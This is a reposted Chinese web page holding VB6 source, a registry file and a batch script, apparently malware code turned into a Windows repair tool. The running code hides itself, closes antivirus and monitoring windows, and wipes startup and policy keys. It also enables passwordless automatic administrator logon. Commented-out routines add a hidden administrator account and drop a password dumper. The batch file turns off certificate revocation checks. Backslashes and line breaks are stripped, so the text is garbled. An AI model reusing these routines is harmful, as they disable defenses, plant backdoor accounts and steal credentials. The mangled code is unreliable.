一段弃暗投明的代码
来源：互联网 发布：淘宝个人店铺假货 编辑：程序博客网 时间：2024/05/01 07:40
Attribute VB_Name = "MainModule"Option ExplicitOption Base 0 'Powered by barenx
'Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long'Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long'Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long'Private Const DRIVE_CDROM = 5'Private Const DRIVE_FIXED = 3'Private Const DRIVE_RAMDISK = 6'Private Const DRIVE_REMOTE = 4'Private Const DRIVE_REMOVABLE = 2'Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long'Private Const mUserName As String = "$VS_Debuger$"'Private Const mUserDescribe As String = "Visual Studio Debuger User" 'max 34 letter
Private Declare Function GetComputerName()Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Declare Function GetUserName()Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As LongPrivate Declare Sub Sleep()Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'''Private Sub AddUser(Optional ByVal lpUserName As String = mUserName, Optional ByVal lpUserDescribe As String = mUserDescribe)'On Error Resume Next'lpUserName = UCase$(lpUserName)'If LenB(lpUserDescribe) > 34 Then lpUserDescribe = Left$(lpUserDescribe, 32)''If InStr(1, UCase$(GetStrFromCommand("net.exe user")), lpUserName) > 0 Then' Call RunCommand("net.exe user " & lpUserName & " /del", True)'End If'Call RunCommand("net.exe user " & lpUserName & " /add /comment:" & Chr$(34) & lpUserDescribe & Chr$(34), True)'Call RunCommand("net.exe localgroup administrators " & lpUserName & " /add", False)''If InStr(1, UCase$(GetStrFromCommand("net.exe user")), lpUserName) <= 0 Then' Call RunCommand("net.exe user " & lpUserName & " /add /comment:" & Chr$(34) & lpUserDescribe & Chr$(34), True)' Call RunCommand("net.exe localgroup administrators " & lpUserName & " /add", False)'End If'End Sub''Private Function FindPassword(Optional ExeFilePath As String = "C:", Optional OutFile As String = "C:Usrp.txt", Optional DelFile As Boolean = False) As String'On Error Resume Next'Dim mByte() As Byte'Dim Retstr As String''If GetDriveType(Left$(ExeFilePath, 1)) = DRIVE_CDROM Then ExeFilePath = "C:"'If GetDriveType(Left$(OutFile, 1)) = DRIVE_CDROM Then OutFile = "C:Usrp.txt"'Open OutFile For Append As #3' Print #3, vbCrLf; String(18, "-")' Print #3, Format$(Now(), "yyyy/mm/dd hh:mm")' Print #3, String(18, "-")' Open ExeFilePath & "Adump.exe" For Binary As #1' mByte = LoadResData("ADUMP", "CUSTOM")' Put #1, , mByte' Close #1' Print #3, GetStrFromCommand(ExeFilePath & "Adump.exe" & " -d")' If DelFile Then Kill ExeFilePath & "Adump.exe"'Close #3'End FunctionPrivate Sub ScanReg()Sub ScanReg() On Error Resume Next Call RegDelAllSubKey(HKEY_CURRENT_USER, "SOFTWAREPolicies", False) Call RegDelAllSubKey(HKEY_LOCAL_MACHINE, "SOFTWAREPolicies", False) Call RegDelAllSubKey(HKEY_USERS, ".DEFAULTSOFTWAREPolicies", False) Call RegDelAllSubKey(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionPolicies", False) Call RegDelAllSubKey(HKEY_USERS, ".DEFAULTSoftwareMicrosoftWindowsCurrentVersionPolicies", False) Call RegDelAllSubKey(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPolicies", False) Call RegDelAllSubVal(HKEY_USERS, ".DEFAULTSoftwareMicrosoftWindowsCurrentVersionRun", False) Call RegDelAllSubVal(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRun", False) Call RegDelAllSubVal(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", False) Call RegDelAllSubVal(HKEY_USERS, ".DEFAULTSoftwareMicrosoftWindowsCurrentVersionRunEx", False) Call RegDelAllSubVal(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRunEx", False) Call RegDelAllSubVal(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunEx", False) Call RegDelAllSubVal(HKEY_USERS, ".DEFAULTSoftwareMicrosoftWindowsCurrentVersionRunOnce", False) Call RegDelAllSubVal(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRunOnce", False) Call RegDelAllSubVal(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunOnce", False) Call RegDelAllSubVal(HKEY_USERS, ".DEFAULTSoftwareMicrosoftWindowsCurrentVersionRunOnceEx", False) Call RegDelAllSubVal(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRunOnceEx", False) Call RegDelAllSubVal(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunOnceEx", False) Call RegDelAllSubVal(HKEY_USERS, ".DEFAULTSoftwareMicrosoftWindowsCurrentVersionRunServices", False) Call RegDelAllSubVal(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRunServices", False) Call RegDelAllSubVal(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunServices", False) Call RegDelAllSubVal(HKEY_USERS, ".DEFAULTSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce", False) Call RegDelAllSubVal(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRunServicesOnce", False) Call RegDelAllSubVal(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunServicesOnce", False) Call RegDelAllSubKey(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects", False) Call RegDelAllSubKey(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects", False) Call RegDelAllSubKey(HKEY_CURRENT_USER, "SOFTWAREMicrosoftInternet ExplorerExplorer Bars", False) Call RegDelAllSubKey(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftInternet ExplorerExplorer Bars", False) Call RegDelAllSubKey(HKEY_CURRENT_USER, "SoftwareMicrosoftInternet ExplorerMenuExt", False) Call RegDelAllSubKey(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftInternet ExplorerMenuExt", False) Call RegDelAllSubKey(HKEY_CURRENT_USER, "SOFTWAREMicrosoftInternet ExplorerToolbar", False) Call RegDelAllSubKey(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftInternet ExplorerToolbar", False) Call RegSetSingleValue(HKEY_USERS, ".DEFAULTSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon", "Shell", REG_SZ, "Explorer.exe") Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon", "Shell", REG_SZ, "Explorer.exe") Call RegSetSingleValue(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon", "Shell", REG_SZ, "Explorer.exe") Call RegSetSingleValue(HKEY_USERS, ".DEFAULTSOFTWAREMicrosoftWindows NTCurrentVersionWindows", "load", REG_SZ, "") Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWindows", "load", REG_SZ, "") Call RegSetSingleValue(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindows NTCurrentVersionWindows", "load", REG_SZ, "") Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWindows", "AppInit_DLLs", REG_SZ, "") Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWindows", "AppInit_DLLs", REG_SZ, "") Dim t As String, i As Long t = Space(260): i = 260 If GetComputerName(t, i) <> 0 Then t = Left$(t, i) Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon", "DefaultDomainName", REG_SZ, t) End If t = Space(260): i = 260 If GetUserName(t, i) <> 0 Then t = Left$(t, i) Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon", "DefaultUserName", REG_SZ, t) Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon", "DefaultPassword", REG_SZ, "") Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon", "AutoAdminLogon", REG_DWORD_LITTLE_ENDIAN, Chr$(1) & String(3, Chr$(0))) End If
End SubPrivate Sub EnterWay()Sub EnterWay() On Error Resume Next Dim WinText(4) As String WinText(0) = "毒" WinText(1) = "马" WinText(2) = "监" WinText(3) = "Anti" WinText(4) = "防" Call CloseWindow(WinText) Call ScanUnNormalTask(True) Dim Aimtask(9) As String Aimtask(0) = "logo_1.exe" Aimtask(1) = "Show_B.exe" Aimtask(2) = "svch0st.exe" Aimtask(3) = "iexplore.exe" Aimtask(4) = "rundll32.exe" Aimtask(5) = "oaxxol.exe" Aimtask(6) = "spoolsv.exe" Aimtask(7) = "spoo1sv.exe" Aimtask(8) = "winlogin.exe" Aimtask(9) = "sxs.exe" Call mEndTask(Aimtask, False) Call ScanUnNormalTask(False) Call ScanReg Call ScanUnNormalTask(False) Call mEndTask(Aimtask, False) Call RunCommand("regedit.exe /s filesafe.reg", True, False) Call RunCommand("explorer.exe", False, True) Call Sleep(275) Call ScanUnNormalTask(False) Call RunCommand("regedit.exe /s filesafe.reg", True, False) Call RunCommand("explorer.exe", False, True) Call ScanUnNormalTask(False) Call RunCommand("cmd.exe /k", False, True) Call Shell(App.Path & " epair.bat", vbMinimizedNoFocus) Call Sleep(220) Call RunCommand("explorer.exe", False, True)' Call AddUser' Call FindPassword("C:", App.Path & "Ins.bat", True)' Call Sleep(330)' Call mEndTask(Aimtask, False)End SubSub Main()Sub Main()On Error Resume NextApp.Title = vbNullStringApp.TaskVisible = False'Select Case Left$(Command$(), 2)' Case "/A", "-A": Call AddUser' Case "/L", "-L": Call LogOffNT(True)' Case "/P", "-P": Call FindPassword("C:", App.Path & "Ins.bat")' Case "/R", "-R": Call ScanReg' Case "/T", "-T": Call ScanUnNormalTask: Call RunCommand("explorer.exe", False, True)' Case "/-", "<-": Call RunEx' Case Else: Call EnterWay'End SelectCall EnterWayEnd Sub'Private Sub RunEx()' Dim Exestr As String' Exestr = Command$()' Exestr = LTrim$(Right$(Exestr, Len(Exestr) - 2))' If Trim$(Exestr) = vbNullString Then Exestr = "cmd.exe /k"' On Error Resume Next' If RunCommand(Exestr, False, True) = 0 Then' If ShellExecute(ByVal 0&, ByVal "open", ByVal Exestr, ByVal "", ByVal "", ByVal 1&) = 0 Then' Call RunCommand("cmd.exe /k", False, True)' End If' End If'End Sub'Private Function StrCut(IStr As String) As String' Dim i As Long' i = InStr(1, IStr, Chr(0))' If i <= 1 Then' StrCut = vbNullString' Else' StrCut = Left$(IStr, i - 1)' End If'End Function' Dim SYS_Path As String' SYS_Path = Space(260): Call GetWindowsDirectory(SYS_Path, 260): SYS_Path = Left$(SYS_Path, InStr(1, SYS_Path, Chr(0)) - 1)' Dim BatFile As String: BatFile = SYS_Path & "UNINST32.bat"' Dim mByte() As Byte' Open BatFile For Binary As #1' mByte = LoadResData("STOP_SERVICE", "CUSTOM")' Put #1, , mByte' Close' Call Shell(BatFile, vbNormalFocus)' DoEvents' Kill BatFile'Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", "ctfmon", REG_SZ, MyFile & " /E") 'Call RegSetSingleValue(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", "IMJPMIG", REG_SZ, BatFile) 'Dim MyFile As String 'MyFile = SYS_Path & "" & App.EXEName & ".exe" 'FileCopy App.Path & "" & App.EXEName & ".exe", MyFile'Private Sub ShowHelp()' Call MsgBox("Help:" & vbCrLf & vbCrLf _' & "P" & String(2, Chr(9)) & "Get Current User Password" & vbCrLf _' & "L" & String(2, Chr(9)) & "Logoff Current User" & vbCrLf _' & "S" & String(2, Chr(9)) & "Shutdown OS" & vbCrLf _' & "R" & String(2, Chr(9)) & "Reboot OS" & vbCrLf _' & "D" & String(2, Chr(9)) & "Del RegKey" & vbCrLf _' & "T" & String(2, Chr(9)) & "Terminal UnNormalTask" & vbCrLf _' & "H" & String(2, Chr(9)) & "Help" & vbCrLf, _' vbOKOnly, "Microsoft Enter File Help")'End Sub' Dim RemoveFile(8) As String' RemoveFile(0) = "LogOff.exe"' RemoveFile(1) = "windcheck2.exe"' RemoveFile(2) = "Internet.exe"' RemoveFile(3) = "Enter.exe"' RemoveFile(4) = "service.exe"' RemoveFile(5) = "ExitStudent.exe"' RemoveFile(6) = "unvise32qt.exe"' RemoveFile(7) = "rmud.exe"' RemoveFile(8) = "logo_1.exe"' Call ScanUnNormalTask'' Dim SYS_Path As String' SYS_Path = Space(260)' Call GetWindowsDirectory(SYS_Path, 260)' SYS_Path = Left$(SYS_Path, InStr(1, SYS_Path, Chr(0)) - 1)' Dim i As Long' For i = 0 To UBound(RemoveFile)' If Dir(SYS_Path & "" & RemoveFile(i), vbHidden Or vbNormal Or vbReadOnly Or vbSystem Or vbArchive) = RemoveFile(i) Then' Name SYS_Path & "" & RemoveFile(i) As SYS_Path & "" & RemoveFile(i) & ".src"' FileCopy SYS_Path & "" & "explorer.exe", SYS_Path & "" & RemoveFile(i)' End If' Next i filesafe.reg
REGEDIT4
[HKEY_CLASSES_ROOT/batfile]
@="MS-DOS 批处理文件"
"EditFlags"=hex:30,04,00,00
[HKEY_CLASSES_ROOT/batfile/DefaultIcon]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,/
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,/
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,31,00,35,/
00,33,00,00,00
[HKEY_CLASSES_ROOT/batfile/shell]
[HKEY_CLASSES_ROOT/batfile/shell/edit]
[HKEY_CLASSES_ROOT/batfile/shell/edit/command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,/
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,4e,00,4f,00,/
54,00,45,00,50,00,41,00,44,00,2e,00,45,00,58,00,45,00,20,00,25,00,31,00,00,/
00
[HKEY_CLASSES_ROOT/batfile/shell/open]
"EditFlags"=hex:00,00,00,00
[HKEY_CLASSES_ROOT/batfile/shell/open/command]
@="/"%1/" %*"
[HKEY_CLASSES_ROOT/batfile/shell/print]
[HKEY_CLASSES_ROOT/batfile/shell/print/command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,/
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,4e,00,4f,00,/
54,00,45,00,50,00,41,00,44,00,2e,00,45,00,58,00,45,00,20,00,2f,00,70,00,20,/
00,25,00,31,00,00,00
[HKEY_CLASSES_ROOT/batfile/shellex]
[HKEY_CLASSES_ROOT/batfile/shellex/DropHandler]
@="{86C86720-42A0-1069-A2E8-08002B30309D}"
[HKEY_CLASSES_ROOT/batfile/shellex/PropertySheetHandlers]
[HKEY_CLASSES_ROOT/batfile/shellex/PropertySheetHandlers/PifProps]
@="{86F19A00-42A0-1069-A2E9-08002B30309D}"
[HKEY_CLASSES_ROOT/batfile/shellex/PropertySheetHandlers/ShimLayer Property Page]
@="{513D916F-2A8E-4F51-AEAB-0CBC76FB1AF8}"
[HKEY_CLASSES_ROOT/cmdfile]
@="Windows NT 命令脚本"
"EditFlags"=hex:30,04,00,00
[HKEY_CLASSES_ROOT/cmdfile/DefaultIcon]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,/
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,/
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,31,00,35,/
00,33,00,00,00
[HKEY_CLASSES_ROOT/cmdfile/shell]
[HKEY_CLASSES_ROOT/cmdfile/shell/edit]
[HKEY_CLASSES_ROOT/cmdfile/shell/edit/command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,/
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,4e,00,4f,00,/
54,00,45,00,50,00,41,00,44,00,2e,00,45,00,58,00,45,00,20,00,25,00,31,00,00,/
00
[HKEY_CLASSES_ROOT/cmdfile/shell/open]
"EditFlags"=hex:00,00,00,00
[HKEY_CLASSES_ROOT/cmdfile/shell/open/command]
@="/"%1/" %*"
[HKEY_CLASSES_ROOT/cmdfile/shell/print]
[HKEY_CLASSES_ROOT/cmdfile/shell/print/command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,/
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,4e,00,4f,00,/
54,00,45,00,50,00,41,00,44,00,2e,00,45,00,58,00,45,00,20,00,2f,00,70,00,20,/
00,25,00,31,00,00,00
[HKEY_CLASSES_ROOT/cmdfile/shellex]
[HKEY_CLASSES_ROOT/cmdfile/shellex/DropHandler]
@="{86C86720-42A0-1069-A2E8-08002B30309D}"
[HKEY_CLASSES_ROOT/cmdfile/shellex/PropertySheetHandlers]
[HKEY_CLASSES_ROOT/cmdfile/shellex/PropertySheetHandlers/PifProps]
@="{86F19A00-42A0-1069-A2E9-08002B30309D}"
[HKEY_CLASSES_ROOT/cmdfile/shellex/PropertySheetHandlers/ShimLayer Property Page]
@="{513D916F-2A8E-4F51-AEAB-0CBC76FB1AF8}"
[HKEY_CLASSES_ROOT/comfile]
@="MS-DOS 应用程序"
"EditFlags"=hex:30,00,00,00
[HKEY_CLASSES_ROOT/comfile/DefaultIcon]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,/
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,/
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,32,00,00,00
[HKEY_CLASSES_ROOT/comfile/shell]
[HKEY_CLASSES_ROOT/comfile/shell/open]
"EditFlags"=hex:00,00,00,00
[HKEY_CLASSES_ROOT/comfile/shell/open/command]
@="/"%1/" %*"
[HKEY_CLASSES_ROOT/comfile/shellex]
[HKEY_CLASSES_ROOT/comfile/shellex/DropHandler]
@="{86C86720-42A0-1069-A2E8-08002B30309D}"
[HKEY_CLASSES_ROOT/comfile/shellex/PropertySheetHandlers]
[HKEY_CLASSES_ROOT/comfile/shellex/PropertySheetHandlers/PifProps]
@="{86F19A00-42A0-1069-A2E9-08002B30309D}"
[HKEY_CLASSES_ROOT/exefile]
@="应用程序"
"EditFlags"=hex:38,07,00,00
"TileInfo"="prop:FileDescription;Company;FileVersion"
"InfoTip"="prop:FileDescription;Company;FileVersion;Create;Size"
[HKEY_CLASSES_ROOT/exefile/DefaultIcon]
@="%1"
[HKEY_CLASSES_ROOT/exefile/shell]
[HKEY_CLASSES_ROOT/exefile/shell/open]
"EditFlags"=hex:00,00,00,00
[HKEY_CLASSES_ROOT/exefile/shell/open/command]
@="/"%1/" %*"
[HKEY_CLASSES_ROOT/exefile/shellex]
[HKEY_CLASSES_ROOT/exefile/shellex/DropHandler]
@="{86C86720-42A0-1069-A2E8-08002B30309D}"
[HKEY_CLASSES_ROOT/exefile/shellex/PropertySheetHandlers]
[HKEY_CLASSES_ROOT/exefile/shellex/PropertySheetHandlers/PifProps]
@="{86F19A00-42A0-1069-A2E9-08002B30309D}"
[HKEY_CLASSES_ROOT/exefile/shellex/PropertySheetHandlers/ShimLayer Property Page]
@="{513D916F-2A8E-4F51-AEAB-0CBC76FB1AF8}"
[HKEY_CLASSES_ROOT/exefile/shellex/PropertySheetHandlers/{B41DB860-8EE4-11D2-9906-E49FADC173CA}]
@=""
repair.bat Powered by barenx
msiexec.exe /unregservermsiexec.exe /regserverrundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%Catrooticatalog.mdbrundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%System32dacui.dllregsvr32.exe /s %SystemRoot%system32acelpdec.axregsvr32.exe /s %SystemRoot%system32actxprxy.dllregsvr32.exe /s %SystemRoot%system32asctrls.ocxregsvr32.exe /s %SystemRoot%system32browseui.dllregsvr32.exe /s %SystemRoot%system32browseui.dll /Iregsvr32.exe /s %SystemRoot%system32cdfview.dllregsvr32.exe /s %SystemRoot%system32comcat.dllregsvr32.exe /s %SystemRoot%system32comctl32.dll /iregsvr32.exe /s %SystemRoot%system32corpol.dllregsvr32.exe /s %SystemRoot%system32CRSWPP.DLLregsvr32.exe /s %SystemRoot%system32cryptdlg.dllregsvr32.exe /s %SystemRoot%system32cryptext.dllregsvr32.exe /s %SystemRoot%system32danim.dllregsvr32.exe /s %SystemRoot%system32datime.dllregsvr32.exe /s %SystemRoot%system32Daxctle.ocxregsvr32.exe /s %SystemRoot%system32dhtmled.ocxregsvr32.exe /s %SystemRoot%system32digest.dll /iregsvr32.exe /s %SystemRoot%system32directdb.dllregsvr32.exe /s %SystemRoot%system32dispex.dllregsvr32.exe /s %SystemRoot%system32dxmasf.dllregsvr32.exe /s %SystemRoot%system32dxtmsft.dllregsvr32.exe /s %SystemRoot%system32dxtrans.dllregsvr32.exe /s %SystemRoot%system32FLUPL.OCXregsvr32.exe /s %SystemRoot%system32FPWPP.DLLregsvr32.exe /s %SystemRoot%system32FTPWPP.DLLregsvr32.exe /s %SystemRoot%system32hhctrl.ocxregsvr32.exe /s %SystemRoot%system32hlink.dllregsvr32.exe /s %SystemRoot%system32hmmapi.dllregsvr32.exe /s %SystemRoot%system32icmfilter.dllregsvr32.exe /s %SystemRoot%system32iepeers.dllregsvr32.exe /s %SystemRoot%system32iesetup.dll /iregsvr32.exe /s %SystemRoot%system32ils.dllregsvr32.exe /s %SystemRoot%system32imgutil.dllregsvr32.exe /s %SystemRoot%system32inetcfg.dllregsvr32.exe /s %SystemRoot%system32inetcomm.dllregsvr32.exe /s %SystemRoot%system32inetcpl.cpl /iregsvr32.exe /s %SystemRoot%system32inseng.dllregsvr32.exe /s %SystemRoot%system32jscript.dllregsvr32.exe /s %SystemRoot%system32l3codecx.axregsvr32.exe /s %SystemRoot%system32laprxy.dllregsvr32.exe /s %SystemRoot%system32licmgr10.dllregsvr32.exe /s %SystemRoot%system32lmrt.dllregsvr32.exe /s %SystemRoot%system32mlang.dllregsvr32.exe /s %SystemRoot%system32mmefxe.ocxregsvr32.exe /s %SystemRoot%system32mobsync.dllregsvr32.exe /s %SystemRoot%system32mpg4ds32.axregsvr32.exe /s %SystemRoot%system32msapsspc.dll /SspcCreateSspiRegregsvr32.exe /s %SystemRoot%system32msdxm.ocxregsvr32.exe /s %SystemRoot%system32mshtml.dllregsvr32.exe /s %SystemRoot%system32mshtml.dll /iregsvr32.exe /s %SystemRoot%system32mshtmled.dllregsvr32.exe /s %SystemRoot%system32msident.dllregsvr32.exe /s %SystemRoot%system32msieftp.dllregsvr32.exe /s %SystemRoot%system32msnsspc.dll /SspcCreateSspiRegregsvr32.exe /s %SystemRoot%system32msoe.dllregsvr32.exe /s %SystemRoot%system32msoeacct.dllregsvr32.exe /s %SystemRoot%system32MSR2C.DLLregsvr32.exe /s %SystemRoot%system32msrating.dllregsvr32.exe /s %SystemRoot%system32msxml.dllregsvr32.exe /s %SystemRoot%system32occache.dllregsvr32.exe /s %SystemRoot%system32occache.dll /iregsvr32.exe /s %SystemRoot%system32oeimport.dllregsvr32.exe /s %SystemRoot%system32oemiglib.dllregsvr32.exe /s %SystemRoot%system32oleaut32.dllregsvr32.exe /s %SystemRoot%system32plugin.ocxregsvr32.exe /s %SystemRoot%system32pngfilt.dllregsvr32.exe /s %SystemRoot%system32POSTWPP.DLLregsvr32.exe /s %SystemRoot%system32proctexe.ocx mshta.exe /registerregsvr32.exe /s %SystemRoot%system32rsabase.dllregsvr32.exe /s %SystemRoot%system32scrobj.dllregsvr32.exe /s %SystemRoot%system32scrrun.dll mstinit.exe /setupregsvr32.exe /s %SystemRoot%system32sendmail.dllregsvr32.exe /s %SystemRoot%system32setupwbv.dllregsvr32.exe /s %SystemRoot%system32shdoc401.dllregsvr32.exe /s %SystemRoot%system32shdoc401.dll /iregsvr32.exe /s %SystemRoot%system32shdocvw.dllregsvr32.exe /s %SystemRoot%system32shdocvw.dll /Iregsvr32.exe /s %SystemRoot%system32tdc.ocxregsvr32.exe /s %SystemRoot%system32thumbvw.dllregsvr32.exe /s %SystemRoot%system32trialoc.dllregsvr32.exe /s %SystemRoot%system32triedit.dllregsvr32.exe /s %SystemRoot%system32urlmon.dllregsvr32.exe /s %SystemRoot%system32urlmon.dll /iregsvr32.exe /s %SystemRoot%system32vbscript.dllregsvr32.exe /s %SystemRoot%system32vgx.dllregsvr32.exe /s %SystemRoot%system32voxmsdec.axregsvr32.exe /s %SystemRoot%system32wab32.dllregsvr32.exe /s %SystemRoot%system32wabfind.dllregsvr32.exe /s %SystemRoot%system32wabimp.dllregsvr32.exe /s %SystemRoot%system32webcheck.dllregsvr32.exe /s %SystemRoot%system32WEBPOST.DLLregsvr32.exe /s %SystemRoot%system32wininet.dllregsvr32.exe /s %SystemRoot%system32wininet.dll /iregsvr32.exe /s %SystemRoot%system32WPWIZDLL.DLLregsvr32.exe /s %SystemRoot%system32wshext.dllregsvr32.exe /s %SystemRoot%system32wshom.ocxregsvr32.exe /s %SystemRoot%system32xmsconf.ocxreg add "HKCUSOFTWAREMicrosoftInternet ExplorerSecurity" /f /v BlockXBM /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v CertificateRevocation /t REG_DWORD /f /d "0x00000000">nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v SecureProtocols /t REG_DWORD /f /d "0x00000028">nul 2>nulreg delete "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerIntelliForms" /f>nul 2>nulcopy /y %SystemRoot%system32dllcacheCryptui.dll %systemroot%system32>nul 2>nulcopy /y %SystemRoot%system32dllcacheCertcli.dll %systemroot%system32>nul 2>nulcopy /y %SystemRoot%system32dllcacheAsycfilt.dll %systemroot%system32>nul 2>nulcopy /y %SystemRoot%system32dllcacheOleaut32.dll %systemroot%system32>nul 2>nulcopy /y %SystemRoot%system32dllcacheOlepro32.dll %systemroot%system32>nul 2>nulcopy /y %SystemRoot%system32dllcacheStdole2.tlb %systemroot%system32>nul 2>nulattrib -s -h %windir%>nul 2>nulattrib -s -h %windir%system32 >nul 2>nulattrib -s -h %windir%system32catroot2>nul 2>nulregsvr32.exe /u /s %SystemRoot%system32softpub.dllregsvr32.exe /u /s %SystemRoot%system32wintrust.dllregsvr32.exe /u /s %SystemRoot%system32initpki.dllregsvr32.exe /u /s %SystemRoot%system32dssenh.dllregsvr32.exe /u /s %SystemRoot%system32rsaenh.dllregsvr32.exe /u /s %SystemRoot%system32gpkcsp.dllregsvr32.exe /u /s %SystemRoot%system32sccbase.dllregsvr32.exe /u /s %SystemRoot%system32slbcsp.dllregsvr32.exe /u /s %SystemRoot%system32mssip32.dllregsvr32.exe /u /s %SystemRoot%system32cryptdlg.dllregsvr32.exe /s %SystemRoot%system32softpub.dllregsvr32.exe /s %SystemRoot%system32wintrust.dllregsvr32.exe /s %SystemRoot%system32initpki.dllregsvr32.exe /s %SystemRoot%system32dssenh.dllregsvr32.exe /s %SystemRoot%system32rsaenh.dllregsvr32.exe /s %SystemRoot%system32gpkcsp.dllregsvr32.exe /s %SystemRoot%system32sccbase.dllregsvr32.exe /s %SystemRoot%system32slbcsp.dllregsvr32.exe /s %SystemRoot%system32mssip32.dllregsvr32.exe /s %SystemRoot%system32cryptdlg.dllnet stop CryptSvc>nul 2>nulnet stop RpcSs>nul 2>nuldel /f /s /q %systemroot%system32CatRoot2>nul 2>nulren %systemroot%system32catroot2Edb.log *.tst >nul 2>nulnet start cryptsvc>nul 2>nuldel /f /s /q "%USERPROFILE%Local SettingsTemporary Internet FilesContent.IE5">nul 2>nuldel /f /s /q "%ProgramFiles%Windowsupdate">nul 2>nulif exist %SystemRoot%System32catroot2badnul del /f /s /q SystemRoot%system32catroot2bad >nul 2>nulif exist %SystemRoot%System32Catroot2nul ren SystemRoot%system32catroot2 catroot2bad >nul 2>nuldel /F /s /Q %SystemRoot%SoftwareDistribution*.* >nul 2>nulif exist %SystemRoot%SYSTEM32DRIVERSetchosts ren %SystemRoot%SYSTEM32DRIVERSetchosts hosts_bak>nul 2>nulnet start 